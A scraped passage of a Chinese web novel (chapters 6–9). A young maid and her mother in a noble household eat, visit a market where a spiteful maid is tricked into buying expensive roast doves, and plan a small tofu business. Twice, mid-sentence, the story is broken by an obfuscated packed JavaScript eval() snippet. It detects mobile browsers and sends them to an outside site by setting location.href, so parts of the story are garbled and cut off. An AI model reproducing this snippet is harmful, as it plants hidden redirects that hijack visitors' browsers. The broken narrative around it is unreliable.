苏芷寒还是晓得布料价格的，普通的绢布都得一两贯钱，足够买上四匹棉布了。更何况她看着绢布，不是想要一双新鞋，而是在思考如何赚钱。 当然，苏芷寒不打算绣花做鞋，而是想到自己的手艺上。 不如，明日出府去瞧瞧？ 正当苏芷寒思考之际，蒋珍娘也舀起炸酱米饭放入口中。她浑身一颤，眼儿睁得溜圆，饶是她刚刚嗅着味道就觉得定然是极品美味，可是，可是—— 这个程度也太好吃了吧！？ 这真是自家女儿做出来的吃食？ 蒋珍娘沉迷于炸酱米饭的魅力，总算开始理解女儿过往为何总有着执念，说要去城里开间饭馆铺子了。 这手艺，真绝了！ 6. 菜叶包子 次日一早，苏芷寒被叮叮咣咣的声响闹醒了。她打着哈欠坐起身，歪头听着动静片刻，才趿拉上鞋，拉开门来，登时一股热气扑面而来。 “寒姐儿醒了？”听到动静的蒋珍娘放下手里活计，双手在围裙上抹了抹，转身来看：“快去洗漱吧！等你洗漱好了，阿娘也做好了，吃好了刚好去大灶房上工。” “反正是去大灶房做活，我直接灶房里捡两饼子吃就是了，您何必早起做吃食？”苏芷寒坐在炕上，一边换衣裳，一边念叨着：“原本您还能多睡上一炷香呢。” “那怎么一样？算起来你今日还是头回去灶房呢，当然得吃的好点，打起精神来。”蒋珍娘连连摇头，催促着女儿去洗漱。 苏芷寒应了声好，穿好衣裳后推门去了屋外洗漱，她拿猪毛牙刷子沾了点桑枝煎膏抹了抹牙，再漱两口水吐掉。 桑枝煎膏便是时下最便宜的‘牙膏’，据说是用柳枝、槐枝、桑枝等物煎熬而成，内里还加了姜汁细辛等物。 至于此物的味道嘛……反正苏芷寒每回用着，都有种自己化身牛犊，正在口嚼新鲜草料的感觉。 ……果然还是要琢磨赚钱的法子。 苏芷寒蹙着眉头，喝了一口水，将口腔里的异味去了个干干净净。 进侯府以后，她也是与别的婢女仆妇聊天过的。比起外面采买来的男仆婢女，侯府家生子的日子比一般百姓都要好得多，虽用的也是猪毛牙刷，但用的牙膏牙粉却是大有不同。 寻常粗使仆妇多用十余种中药材制成的煎膏，在主子身边侍奉的多会用内含珍珠粉的煎膏，至于大丫鬟们更是用内含珍珠粉和人参茯苓等上好药材制作而成的牙粉。 据说那些牙膏牙粉味道清新淡雅，其中有些还带着淡淡果香或是花香，不但味儿要好得多，而且还有美白牙齿清新口气之功效。 当然，价格也是不菲。 苏芷寒用的桑枝煎膏一罐只要五文钱，能用上两月，而好些的煎膏要二三十文钱，加了珍珠粉和中草药的那得近百文钱，至于那些个上好的牙粉又或是主子们用的牙粉是何物，苏芷寒连问都没问。 她心里胡思乱想，手上动作未停，把温水倒进盆里，搅了搅毛巾抹了抹脸，转身进了屋子，坐在不甚清楚的铜镜前扎发髻。 那边蒋珍娘热起炉子，把昨日吃剩的菘菜炖猪肉倒回陶锅里，烧得咕咚咕咚冒泡的时候，再把刚刚做好的面疙瘩倒进去。 她拿着汤勺搅了搅，回转身道：“寒姐儿，你好了没——哎呦！” 蒋珍娘回转身，正巧瞅见女儿的头顶那左右不对称，大小不对称的发髻，忍不住扯了扯嘴角。 还未说话，她又注意到女儿红通通的脸颊。蒋珍娘忙从柜里取出巴掌大的陶罐，用手指尖刮下一大块白色面脂，抹在苏芷寒的脸颊上：“又不涂面脂！等下开裂了口子，你又要哭闹了。” 紧接着，趁着女儿涂脸的间隙，蒋珍娘伸手把她头顶的发髻拆开，嘴里咬着细绳，手里拿着木头梳细细梳理着苏芷寒的头发，麻利地扎成两个丫髻。 圆圆滚滚，整整齐齐，最重要两者是对称的。蒋珍娘左看右看，满意得很，又捡了两朵绢花斜插在女儿发间，这才心满意足地停了手。 恰好，苏芷寒也涂完了脸。 蒋珍娘净了净手，拿起汤勺搅了搅陶锅里的疙瘩汤，而后一手持勺，一手持碗，给苏芷寒盛上满满一大碗：“快吃吧。” 在日渐变冷的天气里，吃上这么一大碗热乎乎的疙瘩汤，饶是苏芷寒也说不出一个不字，眯着眼睛幸福地嗷呜上一口。 吃饱喝足以后，苏芷寒便去灶房上工了。她原觉得自己来得早，没想到刚走进灶房院子，便见到映红和杨柳。两人来的竟是比她更早，一边说着闲话，一边筛着米面。 “映红姐，杨柳姐。” “啊，寒姐儿，你来了？”映红闻声，与兴奋地朝着苏芷寒招了招手：“我有个好消息要告诉你哩！” “好消息？” “你还不知道吧？”映红圆脸，笑起来脸颊上还带着酒窝，神神秘秘的嘀咕：“我听说，赵婆子被撵出府了！” 其实苏芷寒昨日便听到了，可时下却是露出惊讶之色：“赵婆子？撵出府了？昨儿个晚食时，我还见她来了灶房？” “就是昨晚上发生的事！” “听说赵婆子昨日未将负责之地清扫干净，便自顾自到灶房里用晚食。恰好二姑娘身边的大丫鬟到灶房来取点心，路过那地便发现满地脏污，甚是恼火，到灶房里喊赵婆子问话，赵婆子还不承认，最后使人去李管事那告了一状。”杨柳笑着接过话茬，一双眼睛则偷偷打量着苏芷寒的神色。 她听闻此事时，便觉得有些奇怪。而后，杨柳联想到昨日赵婆子来用晚食时，苏芷寒恰好外出，不由怀疑此事背后或许有苏芷寒的手笔。 “柿子？”苏芷寒微微一怔，语气惊愕：“怎么会让柿子落下的？赵婆子以往吩咐我时曾说过的，主院大路上不得留下一草一叶，至于那些柿子，更是要我们每日检查，但凡有快要熟了的，便要用竹竿取下来。” 映红也很是不解，想了想道：“我爹和我娘说，那柿子落地上和泥一般，都是熟透了的，怕是赵婆子嘴上这般要求你们，自己却压根没按要求去做！” “……赵婆子怎会如此糊涂！” “这般的日子还敢如此懈怠，被撵出去也是她自找的。”杨柳没看出问题，随口应道。 紧接着她叹了口气，遗憾道：“就是可惜寒姐儿你走得早了，没了赵婆子，那洒扫的活计可要轻松不少呢。” “杨柳姐说的是。”映红点点头，瞥了眼苏芷寒：“寒姐儿想回去的话，不如与管事说说看？” 别看只是扫洒的活计，说不定哪日入了主子的眼，提到跟前去做事呢。 苏芷寒道：“我觉得灶房挺好的。” 映红闻言，吃了一惊：“寒姐儿，你真是奇怪的人。” 苏芷寒哈哈一笑，也捡了凳子坐到映红旁边，跟着两人一道筛米面：“我觉得映红你才奇怪呢，明明是家生子吧？还愿意到灶房里来当粗使。” 映红脸颊微红：“我有些笨嘛。” 苏芷寒见好就收，转移话题道：“对了，映红你是家生子，那应当对咱们侯府周遭很熟悉吧？可晓得京城里有哪些好吃好玩的？” 映红听到这个话题，登时来了精神。她抬起胸膛道：“那是当然的，我打小就在这里长大，好吃好玩的我都晓得，寒姐儿可是要买什么东西，要我给你出出主意？” “的确有这个意思。”苏芷寒大大方方承认下来，而后说起缘由：“我攒了点月钱，想给阿娘还有帮忙过的妈妈买点东西，只是我和我娘上京城时有些匆忙，而后进了府又没得空，我还没出去逛过，也不晓得在哪里买东西划算。” 苏芷寒并未说谎，当日她与蒋珍娘进京时紧张非常，行色匆匆，哪有什么查看京城景象的心思。 等到了侯府，又要省钱又要做事，两个月以来她除去帮人跑腿出府过，愣是连忠勇侯府周遭都没仔细逛过。 映红就不同了，她打小就在这里长大，手里又不缺银钱，常常跑到外头来打牙祭。 三人出了府以后，映红便给两人介绍着周遭人家。忠勇侯府周遭二里地，住的几乎都是身份相仿的大户人家，不过等稍稍走远些，便是一处规模极大的坊市。 “薛记家的烧鹅老好吃了！” “那是薛婆婆家的羊肉汤，好喝！” “那家是周记，他家的胡辣汤也很好喝！他们家做的菜叶包子也不错，有甜口和咸口两种味道。”映红问了苏芷寒和杨柳口味，而后上前买了三个，分别递给她们。 苏芷寒接过热乎乎的菜叶包子，饶有兴趣地打量起来。眼前的菜叶包子足有掌心大，价格适中，外面是嫩嫩的生菜叶子，里面则是米饭、炒肉丁、炒鸡蛋、毛豆和蘑菇等物，长得与东北饭包有几分相似。 苏芷寒吹了吹凉，随后迫不及待地咬上一口。 她最初尝到的是香甜软糯，并散发着猪油香气的米饭，想来应当是用粳米和糯米混合的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364606|152976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再用融化的猪油翻拌而成，再然后才是其余配菜的滋味，经过炒制的肉丁口感紧实，另外还有咸香的鸡蛋、清甜的毛豆，鲜美的蘑菇，配上外面爽口的剩菜，一口下去真真是教人倍感满足。 苏芷寒一口接一口，等她想起还有甜口时，她已快要吃完整个菜叶包子。她把最后一口塞进嘴里，又抬眸看向正在吃甜口菜叶包子的映红，有些好奇：“甜口的内馅是什么？” “是红豆沙。”映红掰开给苏芷寒瞧，只见甜口的菜叶包子里是用用蜂蜜和砂糖熬制而成的红豆沙：“香香甜甜的，很好吃的，他们家卖的最好的便是甜口的菜叶包子。” 苏芷寒立在旁边围观，果然三人站在边上的片刻功夫，便有十数人前来购买，其中大半人都买了甜口的。 苏芷寒若有所思，心里暗暗有了些想法。紧接着她又跟着映红和杨柳，饶有兴趣逛起坊市来。 “这里是杂货行，乱七八糟的东西都有，你要有什么地方的特产想要却寻不到，也可以在这里找人帮你寻一寻。” “这是田氏蜜饯店，我最爱吃他们家的蜜枣儿。”映红进去买了一袋子，分给苏芷寒和杨柳。那枣儿色如琥珀，散发着诱人的甜香，扯开更是一丝一缕的，一口下去满嘴都是枣香和蜜香。 “好甜！” “是吧？就是价儿有点贵。”映红遗憾地叹了口气，又拉着两人走到隔壁：“还是白老伯家的甘栗好，又便宜，味道也好吃！” 映红又买了一袋子，苏芷寒捡了一颗尝尝，那甘栗软软糯糯，香香甜甜，带着一股果木碳烤的香气，的确分外有特点。她看着价贱，也买了一袋子，准备带回去让阿娘也尝尝鲜。 “周记熟肉做得最好。”没走几步，映红又指着另一家铺子，笑道：“他们家的烙鸠子可是一绝，就是价格有点贵，我平日都舍不得买，顶多买炒鹑子过过瘾。” 苏芷寒抬眼一看，立马注意到挂在铺子招牌上的价格，炒鹑子一只五文，而烙鸠子一只小的便要三十文，大的竟是要五十文！ 要晓得如今小饭馆里一碟子煎鱼、烧鸭、炒鸡，炒兔之类也不过十五文钱，两人花五十文已能在较好的酒铺饭馆里吃上一顿。 眼前的价格，堪称贵得惊人！ 映红领着苏芷寒和杨柳走上前去，对着台面上摆着的三盆炸物犹豫不决。 她原是想买只鹑子尝尝鲜，可走到近处才想起那鹑子一只唯有手掌大小，一人吃倒是不错，三人分食着实可怜，而买三只鹑子总觉得没必要，可鸠子又价贵，买起来好生心疼。 刚刚买点心果子，已用了三十文钱，要是再花三十文买鸠子，那她下半个月可没钱用了。 苏芷寒瞅了眼映红，看出了她的犹豫不决，笑道：“刚刚映红姐买了好些吃请我吃了，这回就由我来买吧。” “不好不好，哪里能要你出钱。”映红闻言，连连摇头，她还记得苏芷寒刚刚说的，准备要给娘亲和熟悉的妈妈买东西，苏芷寒总共来府里也就两月，能攒下多少钱，怕是顶多也就三百文？两百文？ 不不不，许是只有一百文甚至更少呢。 映红咬咬牙，从斜挎小包里取出铜板，正要往前去买鸠子时，眼角余光撇到默不作声的杨柳，忽地心里有些不舒服。 她手上动作一顿，犹豫道：“不如我们三个凑一凑钱吧？” 话音刚落，苏芷寒忽然听到一个陌生的声音来：“哎呀？这不是映红妹妹吗？” 苏芷寒循着声音，转身望去，只见身后不知何时多了数名穿着绸子衣衫，满头珠玉的年轻女郎，尤其是站在中间那个，模样长相与映红竟有七八分相似。 “还真是映红。”刚刚说话的女郎挑了挑眉，抬眸看了眼前面的铺子，又转身与映红容貌相仿之人道：“珍珠姐姐，你家里都不给映红妹妹零用钱的嘛？怎买个炸鸠子都要迟疑来迟疑去的？” 女郎又转过身来，冲着苏芷寒三人笑了笑：“映红妹妹，还有这两位……妹妹？怪教人心疼的，今儿个你们要吃什么和绣荷姐姐说，绣荷姐姐请你们吃罢。” 7. 烙鸠子 苏芷寒不晓得映红与姐姐关系如何，却也看出眼前这位名叫绣荷的姐儿不怀好意，明面上说是要请他们三个吃东西，实际上是想损映红的姐姐珍珠，想让映红和珍珠丢丢脸子，闹闹笑话。 此刻映红拒绝，是不给她的面子。可要是映红同意，恐怕又应了她说的话，倒像是珍珠欺负妹妹映红，又或是两姐妹的父母偏心眼。 总归，定是能闹点笑话的。 苏芷寒看了出来，映红也是。此刻的她恨自己嘴笨口拙，不知道该如何反驳，只把一张小脸憋得通红。 绣荷还要火上浇油：“映红妹妹不用客气，我与你姐姐是一个院子的人，说不定往后你也能到咱们院子来呢。” 苏芷寒看映红小脸涨得通红，忙上前解围道：“谢谢绣荷姐姐的好意，其实映红姐姐刚请我们两个吃小食，我一直过意不去，想买烙鸠子谢谢映红姐姐。不过映红姐姐一直拦着我，非要她来付钱，我好说歹说，映红姐姐才松了口。” “没想到就咱们讨论这会，倒是让绣荷姐姐误会了，都是我的错。”苏芷寒说罢，从小包里拿出钱袋子。 正当她准备点出三十个铜钱买鸠子时，映红姐姐珍珠上前一步，她如细葱般的手落在苏芷寒的手背上，而后朝着苏芷寒笑了笑：“好姑娘，你道歉做什么？既然你绣荷姐姐发了话，要请你们吃东西，你们就受用着吧。” 苏芷寒、映红和杨柳齐齐愣了愣，下意识望向珍珠。 珍珠笑道：“看我做什么？快谢谢你们绣荷姐姐，她贯是个小气的，这般请客的好日子可不能错过。” 映红眼儿一亮：“谢谢绣荷姐姐。” 苏芷寒和杨柳也不再客气，冲着绣荷笑了笑：“多谢绣荷姐姐。” 至于绣荷，她脸上的笑容早已凝固。 她就是看珍珠的妹妹映红素来笨嘴拙舌，不善言辞，想借她来损一损珍珠罢了，笃定珍珠和映红没法厚着脸皮占自个儿的便宜，根本一个铜子都不想出。 偏偏没想到，珍珠还真就应了，还倒打一耙说自己平日小气！ 绣荷急得额头都沁出汗来，可再怨再恨，她还不能摆出不乐意的态度来。毕竟其余婢女都听得自己刚刚说的话，要是她不乐意，怕是名下小气小性的名声便要在院里传开。 府里的仆役啊，要的就两字：体面。 绣荷咬紧牙关，面上强撑着笑：“你们想吃鸠子吧？掌柜的，给我包三只鸠子。” “好嘞。”掌柜听了半响八卦，闻言手持夹子，夹起三只小号的烙鸠子。 绣荷瞧着着实心痛，虽说是小号的，但三只烙鸠子一共得九十文钱，足够她买上二两丝线了。 就在她避开视线，低着头伸手拿钱的时候，珍珠又开口道：“哎哎哎，掌柜，你拿小号的做什么？” 绣荷眼皮一跳，腾地抬起头来，只见珍珠冲她浅浅一笑，而后转身与身边其余婢女说道：“咱们绣荷妹妹之前说过的，说是她只吃周记熟肉家五十文钱的大鸠子，至于三十文钱的小鸠子不上档次，着实难以下咽。” 其余婢女或是拿着汗巾子掩住表情，或是垂首轻笑，也有人顺着珍珠的话：“哎呀，好像是有这么回事。” “我也曾听绣荷姐姐说过。” “我想——”珍珠似笑非笑地瞅了眼绣荷，最后看向掌柜：“绣荷妹妹应当是打算买大号的吧？” 绣荷憋着一口气，应道：“……是。” 掌柜先是倒了歉，而后把夹着的三只小鸠子放下，转而从烤炉里取出三只大鸠子来。 在烤炉里反复炙烤而成的烙鸠子，带着焦褐色的外皮和浓郁的甜香，散发着极其诱人的味道。 “小娘子，可要剪开。” “剪开罢。” “好嘞。”掌柜动作麻利，手起刀落将鸠子分成大块，装进竹纸袋里，递到苏芷寒三人的手中：“小娘子们，小心烫，热着吃更好吃。” “谢谢掌柜，谢谢绣荷姐姐。” “不，不用谢。”绣荷付了钱，看也不愿看那烙鸠子一眼。她往日也就在珍珠等人跟前吹吹，其实她出门买鸠子都是买小个的……傻子才买大个的。 绣荷想起自己当初的话，再想想那飞走的一百五十文钱，心里滴血。她连笑容都快控制不住，暗暗念叨着只要赶紧走人，走人，走人…… 珍珠瞥了一眼绣荷，又转身看向苏芷寒三人：“妹妹们还有什么想吃的？” 映红看看绣荷，又看看姐姐，难得机灵了下。她脆生生地喊道：“绣荷姐姐，我还想吃木瓜膏。” 绣荷：“…………” 珍珠家的小崽子，果然就和珍珠一般讨人厌！ ………… 苏芷寒回到家里时，已是傍晚时分。 蒋珍娘伫立在门口，不停地左顾右盼，直到瞧见女儿的身影才长舒了一口气。她小跑着迎上前去，搂着女儿正要说话，眼角余光一撇，目光登时被女儿胳膊上挽着的竹篮牢牢吸引。 蒋珍娘只一眼，便发现竹篮里大大小小放着七八个纸袋，各种香味交织在一块儿，勾得她肚里的馋虫都钻了出来。 当然，蒋珍娘更多的还是疑惑，寒姐儿与她一样，也是个勤俭节约的主。粗使一月两百文的月钱，寒姐儿会把一半交给自己保管，另一半留着，两月下来愣是只用了五六十文，还都是请旁人吃东西，打听事儿才用的。 “寒姐儿，你怎么买了这么多东西？” “这些啊……王婆子好。”苏芷寒的表情显得十分古怪，她撇了一眼听见声响便出来看热闹的王婆子，道了声好，而后便拉着蒋珍娘进了屋。 “这小丫头，搞得我爱偷听似的。”王婆子瞧着没八卦听，嘟嘟嚷嚷地回了屋子。 “阿娘，我与你说。”进了屋以后，苏芷寒才说起今日发生的事来。 珍珠或许是有意要狠狠地给绣荷一个教训，一个劲儿地怂恿绣荷买各种吃食。直到绣荷着实受不了，借口有事要回府里跑了以后，这事才告一段落。 那时，他们已有了三四样吃食。 而后珍珠并其余丫鬟又带着三人继续闲逛，断断续续买了几样不说，最后还抓给三人每人一把铜钱，教她们自己去耍。 苏芷寒把竹篮搁在桌上，从斜挎包里取出钱袋，拉开抽绳展开给蒋珍娘看：“阿娘，您瞧瞧，这里面的钱甚至比早上出门时还多了呢。” 蒋珍娘听得目瞪口呆，万万没想到女儿与人出个府，也能撞上这般事来。半响，她才开口问道：“那个叫绣荷的，会不会记恨上你？” 苏芷寒忍俊不禁：“怎么会。” 这事怎么看，都是映红和她珍珠拉了大半的仇恨。 不过蒋珍娘这么一提，苏芷寒也稍稍记在心里，准备回头去问问映红与旁人，了解了解绣荷的性儿，免得对方与赵婆子般是个欺软怕硬的，不敢寻珍珠和映红的事，反而来寻自己的麻烦。 苏芷寒有了主意，便暂且放下这事。她伸手从竹篮里取出吃食：“先不管那些，阿娘快来尝尝？” “这蜜枣儿，甜得很。” “还有酥饼，外面裹了厚厚一层胡麻，又香又脆。” “还有糖糕……这糖糕得放炉子上热一热，咬下去里面的糍粑和糖会淌出来，香甜得很。”苏芷寒如数家珍，挨个介绍，到最后取出的便是那价值五十文的烙鸠子。 等她说出价格，蒋珍娘惊得瞪圆了眼，猛地抬高声音：“就个鸠子，要多少钱？五十文！？他们怎么不去抢！？” “放在烤炉里烤上老久了。” “那也不值这个价。”蒋珍娘想着雀儿鸠子都是山林里再多见不过的，四季都能随便抓到不少，村里老有人抓来打打牙祭。 要放在以前，让她晓得这玩意这么赚钱，她定然去打一串儿，烤熟了日日到镇上去卖。 “哪有阿娘您想得那么简单。”苏芷寒看出蒋珍娘的小心思，又是好气又是好笑。她从竹篮里拎出烙鸠子，烙鸠子的油已浸润出来，把竹纸袋弄得油乎乎的，尚未拆开便能隐约闻到一股奇妙又独特的香味。 “小的三十文，大的五十文。” “就这价格，每日还有好多人从京 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隔壁王婆子本就瞅见苏芷寒提回满满一竹篮吃食，而后又闻到那股子熟悉的香气，登时心里生疑：“大儿家的，你闻闻这味？这味儿怎么这么像周记熟肉家的味道？” “阿娘说笑了，蒋家人哪吃得起周记……咦？”王媳妇不以为然，直到拉开门闻到味道才愣了神：“还真，还真有点像！而且……像是那烙鸠子的味！” “我就说嘛。”王婆子伫立在门口，嘴里食不知味地嚼着甘草片，一双眼儿眨也不眨地盯着蒋家大门：“你说，他们家哪来这么多钱？” “说的也是，那鸠子得三十文呢。”王媳妇也奇怪呢，她家婆婆在侯府里做粗使，每月两百文，另有她夫君在三郎跟前做跑腿，每月月钱六百文，另有月食钱两百，还时不时有打赏，算下来每月起码有一千二百文的收入。 即便这般的收入，他夫君和婆婆也不舍得常买，顶多逢年过节又或是家里有客才会买上一只尝尝味。 蒋珍娘是粗使，她女儿也是粗使，两人加一起也不过四百文钱的收入，怎么能舍得买这个？ 王媳妇越想越是狐疑，倚着门，眼睛直直盯着蒋家大门。 若是这时有人路过瞧见，恐怕会以为眼前这两人乃是亲母女，不然两者的动作怎会如此相似。 屋里，苏芷寒和蒋珍娘正吃着复烤后的烙鸠子。蒋珍娘还是头回吃到这么好味的鸠子，那是连骨头都舍不得吐出来，细细嗦着，不肯放过一丝味道。 苏芷寒则细细尝着，那外皮是刷了油脂和蜂蜜，再用烤炉慢火烘烤而成。至于内里的肉咸香味浓，初一品尝便能捕捉到不少香料的滋味。 难怪要卖这个价呢！ 苏芷寒眯着眼儿，细细品尝，与蒋珍娘一道分食了整只鸠子还意犹未尽。 蒋珍娘舔了舔手指尖，瞧着鸠子的遗骸叹道：“可惜，这鸠子得五十文。” 一只等于四分之一的月钱呢！ 下回也不知道什么时候才能再吃到。 蒋珍娘心中遗憾，不过等撇了一眼若有所思的女儿后，她立马话锋一转：“虽说这烙鸠子好吃，但阿娘还是最喜欢寒姐儿做的炸酱，要是那物拿出去卖，起码能卖五十文钱一碗，不！一百文一碗！” “真的吗？” “……嗯，嗯。”蒋珍娘硬着头皮回答道，瞧着女儿亮晶晶的双眼多少有点心虚。 苏芷寒瞧着蒋珍娘冷汗直冒，目光漂移的样，忍不住噗地笑出声来：“阿娘，你的模样好好笑。” “好哇！你敢笑我！” “谁教阿娘说炸酱能卖一百文的——” “我又没说错！”蒋珍娘眼珠子一转，笑盈盈地搂着女儿：“那一锅子炸酱，焯了索饼每份淋上一两勺，起码也能做个十几二十份。” 她越说越是笃定，越吹越起劲：“就我女儿的手艺，每份算五文钱保准得让人哄抢，一天能卖个一千份！” 苏芷寒被说得心花怒放，随手拿筷子把烘烤到一半的糖糕翻了个身，随后身体前倾看向蒋珍娘：“说起这个，阿娘，你想发财吗？” 8. 做生意 这话题改得太快，教蒋珍娘都没反应过来。她慢了半拍，先是啊了一声，而后又惊疑不定地瞅着苏芷寒，怀疑是不是自个儿猜错了：“寒姐儿？你的意思是你想……做生意？” “阿娘，您真聪明！” “那是……不对！别想用这些话来糊弄我。”蒋珍娘骄傲三息，又马上醒过神来。她伸手戳了下苏芷寒的脑门，努力板起脸子来：“你啊就别想做生意了，咱们如今可是侯府的人。” 若是自由身，蒋珍娘估摸会同意女儿的打算，前去尝试一二。只是她现在身为侯府的仆役，从早到晚都有忙不完的活计要做，又哪里有时间去摆摊做生意。 最重要的是，侯府的婢女仆妇去摆摊卖吃食？这要传出去，多不好听。 蒋珍娘摇了摇头，抚着女儿的头发，耐心劝说道：“寒姐儿还是把心思弄回做事上，你想呆在灶房就好好学厨艺，往后进了姑娘院子里当灶房娘子，又或是掌勺女厨。” 蒋珍娘回想那碗炸酱的滋味，对女儿手艺抱有极大的信任。而后她想了想，又补充道：“当然阿娘也不是非要你呆在灶房学手艺，若是你觉得灶房日子辛苦，那就等阿娘再攒攒钱。” “等阿娘攒够了钱，与管事说说，送你进姑娘院里，咱们去针线房，又或是养雀养猫都是好的。” “阿娘，这些我晓得的，可我……想留在灶房学手艺，不想去二姑娘院里了。”苏芷寒犹豫了下，一边把烤好的糖糕放进蒋珍娘碗里，一边说出自个儿的打算。 这事，总归是要说出来的。 苏芷寒垂着头，没敢看蒋珍娘的神色，事实上她出府的半日，虽然中间碰到些插曲，但她也没有浪费时间，而是仔细观察过坊市的。 苏芷寒也晓得，想要做生意的前提便是不影响府里的工作，最好连做生意的事都不要被府里人知晓。 像是今日去的坊市，虽然距离近且人流量大，但侯府里的仆役都爱在这里耍，要是苏芷寒在这里做生意，怕是三五天就能闹得全府上下都知道。 苏芷寒思到此处，赶在蒋珍娘开口前往下说道：“您和我攒了两个月的月钱，加上此前留下的家资，才勉强买得一匹绢，还是最寻常的那种。” “可我今天瞧了。”苏芷寒瞥了眼蒋珍娘，又说起今日见着的珍珠等人，虽说是二等三等的丫鬟，但打扮已是不俗：“珍珠姐姐他们穿的都是绸子衣衫，鞋子也是绸子绢料做的，浑身上下一套起码得三五十贯钱，更不要说用的饰品了。” 还有隔壁的王媳妇，虽说她在家里养孩子，并不去府里做事，但常穿的两件褙子也都是绸子做的。 苏芷寒道：“阿娘想和张妈妈打好关系，这两三月送一次东西也不成，逢年过节的，也得送点吃食礼物。” “另外，阿娘既然送了张妈妈礼物，那洗衣房里的管事妈妈也得送。” “我想着多攒点钱，也好置办点东西，最起码也能教阿娘能舒坦点，免得冬日受皮肉之苦。” 随着天气转凉，洗衣房的活计也日渐艰难。苏芷寒之前便去洗衣房看过，虽说洗衣房里有着水渠和洗衣缸，不用仆妇们自己去提水来，但那水也是井里引过来的，时下碰着便是刺骨的冷。 这才刚过了霜降，待大雪过去，只怕水都得结冰，到时候洗衣洗菜真真是件折磨人的事儿。 更重要的是—— 苏芷寒抓住蒋珍娘的手，略粗大的指节处有着不少细微的伤痕：“还未入冬呢，您的手都开裂成这样，等后头——” 蒋珍娘忙抽回了手，无措地搓着手掌心，呐呐道：“……不就是洗衣服嘛，在家里也洗得多了，况且我还买了猪油手脂，每日抹着呢。” 猪油手脂，价贱，里头除去猪油膏外还放了点防风、黄芪和白芷等药草，因着气味不佳，加之猪油等物容易附着在绸子缎子等物上，洗衣前后也不让用。 “阿娘，您也想换个跑腿做事的活计吧？”苏芷寒打断蒋珍娘的话，反问道。 按着蒋珍娘原是姑奶奶身边侍奉过的，又是其奶姐，怎么也不该落去洗衣房做个洗衣妇，究其缘由还是如今管家的大娘子与姑奶奶未出嫁时有些龃龉。 随着姑奶奶远嫁，大娘子手掌府里诸多事务，府里管事自是捧高踩低，乐得贬一贬与姑奶奶有瓜葛之人，来讨好上面的大娘子。 至于大娘子等人知不知道，苏芷寒觉得还真不一定，候爷夫人刁难已出嫁的姑娘奶姐？传出去也不嫌难听。 苏芷寒心里疑惑，却也不好多加猜测，她看过的小说里多是围绕着小说主角永平伯府，关于忠勇侯府的内容少之又少，也让她完全不了解这府邸的具体情况，只晓得他们与荣王世子联姻，而后便随着荣王造反而轰然倒塌，却是完全不知荣王为何要造反，忠勇侯府又涉及多深。 苏芷寒没多说，只是再次握住蒋珍娘的双手，轻声道：“原先我想进二姑娘院里，往后也好教阿娘一道进姑娘院子，也好清闲些。” 几位姑娘往后都是要出嫁，所以院里大小人物都得配齐全，多是一家大小进去做陪房——女儿做丫鬟，当爹的做账房采买跑腿，当娘的做跑腿出面等杂事。 只要自己进了二姑娘院里，再把阿娘也带进去只是时间问题。 以上这些，便是苏芷寒原本的打算。 随着自己准备暂且留在大灶房，想法子攒钱赎身离开侯府以后，自是不能想着让阿娘也到姑娘院子里，而是得在府里寻个其余事做。 “现在，我想在灶房里学学。” “可灶房里的位儿都有固定的人选，况且进来打杂也不比洗衣房好多少。”苏芷寒与蒋珍娘解释着：“我想攒些钱，也好教阿娘您赶紧换个活儿。” 蒋珍娘听到这里，心都软了。她搂着苏芷寒，那是喊了一通心肝肉儿之类的话，而后更是起身把家里的钱匣子拿出来，大方地推到女儿手边：“家里所有的钱都在这里，寒姐儿拿去用吧。” “不用。”苏芷寒把钱匣子推回到蒋珍娘手里，拎起钱袋晃了晃：“我自个儿的钱，足够了。” “一百多文，能做啥生意？”蒋珍娘见女儿连钱也一文不要，登时心生疑惑：“租个泥炉子，买个锅儿都不够呢。” “我不用买那些东西。” “你是打算在家里做好了带出去卖？”蒋珍娘恍然大悟，难掩好奇：“你已经想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兜来转去，苏芷寒的目标便落在豆腐上。如今豆腐产物五花八门，像是嫩豆腐、老豆腐、油豆腐、千张、豆渣饼乃至豆腐乳之类的都能在豆腐铺里见到身影，而豆腐干也在其中。 “可光是你听来的方子，能做得好吃吗？咱们不如做那炸酱，定然好卖的。”蒋珍娘还心心念念着炸酱呢，想着哪日再去买条五花肉来，教女儿做来吃。 “那炸酱量大，不好带出去。”苏芷寒哭笑不得，连忙摁下蒋珍娘异想天开的心思：“我说的豆腐干，并非阿娘知道的豆腐干，明儿个我做出来，您尝尝就晓得了。” “行吧行吧。”蒋珍娘想不通豆腐干能有啥好滋味，有些不解，但选择信任女儿。她点了点头，犹豫着询问：“那要额娘帮你做什么嘛？” 苏芷寒原本想说不用，可瞧见蒋珍娘眼里隐约的期待后又改口道：“我不太会叫卖东西呢，明日做好以后……阿娘能陪我出去试试看嘛？” 蒋珍娘双眼一亮，满口答应：“阿娘往日去镇子上卖东西，都是自己叫卖的，熟练得很，这事就包在我身上！” 9.卤汁豆干 次日，苏芷寒起了个早，跟着蒋珍娘一道去坊市上寻摊贩买豆腐。 坊市里铺子多，摆摊子的更多。除去早早开门营业的铺子和售卖早食的摊贩外，还有从城外到城里来售卖各种杂货的乡下人，而百姓们也选了这个时候前来买菜，整个坊市里到处都是叫卖声。 “寒姐儿，吃肉馒头。”蒋珍娘从一家摊子上买了两肉馒头，把其中一个塞在苏芷寒手里：“这肉馒头做得老好了！” “嘿！娘子您可真有眼光！” 